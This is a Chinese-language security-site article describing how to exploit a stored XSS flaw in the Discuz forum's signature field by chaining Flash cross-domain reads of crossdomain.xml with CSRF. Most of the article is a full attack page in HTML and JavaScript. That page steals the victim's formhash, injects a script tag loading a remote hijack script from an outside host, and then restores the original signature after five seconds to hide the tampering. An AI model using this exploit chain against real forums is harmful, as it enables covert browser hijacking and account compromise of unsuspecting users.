热门关键字:   网站安全  黑客攻防  安全漏洞  系统安全  网络安全
站外
广告
域名申请虚拟主机 信息安全 域名注册 云主机 网络安全技术 企业网络安全 站外
广告
文字广告位招租 文字广告位招租 文字广告位招租 文字广告位招租 云安全

discuz xss 0day利用方法

发布时间:2011-01-18 11:58文章来源:网络文章作者:RAyh4c 点击次数:
摘要:发一下去年利用discuz鸡肋xss的一个思路和具体代码。 discuz x系统以下所有版本的个人资料设置中的个人签名一项存在一个持久型的XSS漏洞:比如在修改个人签名,提交/textareascriptalert(1)/script,就能执行脚本。 这个XSS的利用场景比较特殊,必须在个人资...

发一下去年利用discuz鸡肋xss的一个思路和具体代码。

discuz x系统以下所有版本的个人资料设置中的个人签名一项存在一个持久型的XSS漏洞:比如在修改个人签名,提交</textarea><script>alert(1)</script>,就能执行脚本。

这个XSS的利用场景比较特殊,必须在个人资料设置页里才能触发,以往这样的鸡肋要真正在渗透中实战利用起来几乎不可能。但是我们结合其他途径就可以把鸡肋变成宝贝,下面我就说下攻击流程:

 

1.通过FLASH跨域请求获取formhash和被攻击者的个人签名。

所有的DISCUZ程序都在根目录下放了一个crossdomain.xml,允许任意网站的FLASH发起请求获取页面内容,那么我们可以很轻易地获取ormhash。

 

2.构造一个自动提交表单,CSRF修改个人签名加入XSS代码。

 

 

3.攻击代码生效,反向劫持被攻击者的浏览器,并还原被攻击者的签名,因为个人签名里的内容会在帖子里显示,并不能执行脚本,很容易被人发现异常,所以最后需要还原被攻击者的签名。

 

 

攻击代码:

使用了flxhr,这个库可以方便FLASH跨域获取网页内容,并且可以和javascript交互,当然还有很多强大的功能。

使用了luoluo的jspayloadlib,两年前luoluo写的可以很方便xss和csrf的攻击库。

http://www.flensed.com/code/releases/flXHR-1.0.5.zip
http://jspayloadlib.googlecode.com/svn/trunk/src/org/ph4nt0m/net/formSendData.js

 

  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
  2. <html xmlns="http://www.w3.org/1999/xhtml"> 
  3. <head> 
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
  5. <title></title> 
  6.  <script language="Javascript" type="text/javascript" src="flXHR.js"></script> 
  7. <script language="Javascript" type="text/javascript" src="formSendData.js"></script> 
  8.  
  9. <script language="Javascript" type="text/javascript">   
  10. <!--  
  11. crossdomain_xml = "http://xxx.qq.com/discuz/Discuz_7.2_SC_GBK/crossdomain.xml" //crossdomain.xml地址  
  12. Attack_url = "http://xxx.qq.com/discuz/Discuz_7.2_SC_GBK/memcp.php?action=profile&typeid=2" // 个人资料设置页地址  
  13.    
  14. var flproxy = new flensed.flXHR({ autoUpdatePlayer:true, instanceId:"myproxy1", xmlResponseText:false, onerror:handleError, onreadystatechange:handleLoading, loadPolicyURL: crossdomain_xml, noCacheHeader: false });  
  15.  
  16. function doit() {  
  17.  flproxy.open("GET",Attack_url);  
  18.  var request = " ";  
  19.  flproxy.send(request);  
  20. }  
  21.    
  22. function handleLoading(XHRobj) {  
  23.  if (XHRobj.readyState == 4) {  
  24.    //alert(XHRobj.responseText)  
  25.    HTMLcode = XHRobj.responseText;  
  26.    hash_start = HTMLcode.search(/formhash/);  
  27.    signature_re = /textarea.*?signaturemessage.*?>(.*)<\/textarea/.exec(HTMLcode);    //获取个人签名的内容  
  28.    scode = RegExp.$1;    
  29.      
  30.  
  31.  if( hash_start > -1 ){  
  32.      
  33.  
  34.     formhash = HTMLcode.substr(hash_start+9,8); // formhash是8个字符串加数字,取“formhash=”9个字符串后8个字节就是formhash。  
  35.     //alert(formhash);  
  36.       
  37.     formSendData("post", Attack_url , {  
  38.      "formhash" : formhash,  
  39.      "signaturenew" : "</textarea><script src=http://test.com/h.js></script>",  
  40.      "editsubmit" : "1"  
  41.     }, 1000); //加入浏览器劫持代码。  
  42.       
  43.     formSendData("post", Attack_url , {  
  44.      "formhash" : formhash,  
  45.      "signaturenew" : scode,  
  46.      "editsubmit" : "1"  
  47.     }, 5000); //延时五秒CSRF还原个人签名  
  48.       
  49.    }   
  50.  }  
  51. }  
  52.  function handleError(errObj) {}  
  53. --> 
  54. </script> 
  55.  </head> 
  56.  <body> 
  57.  
  58.  <input type="button" value="Click Me" onClick="doit();" /> 
  59.  </body> 
  60.  
  61. </html> 

 

标签分类:

上一篇:/*!select*/ 突破防注入
下一篇:让ASP自动防护脚本注入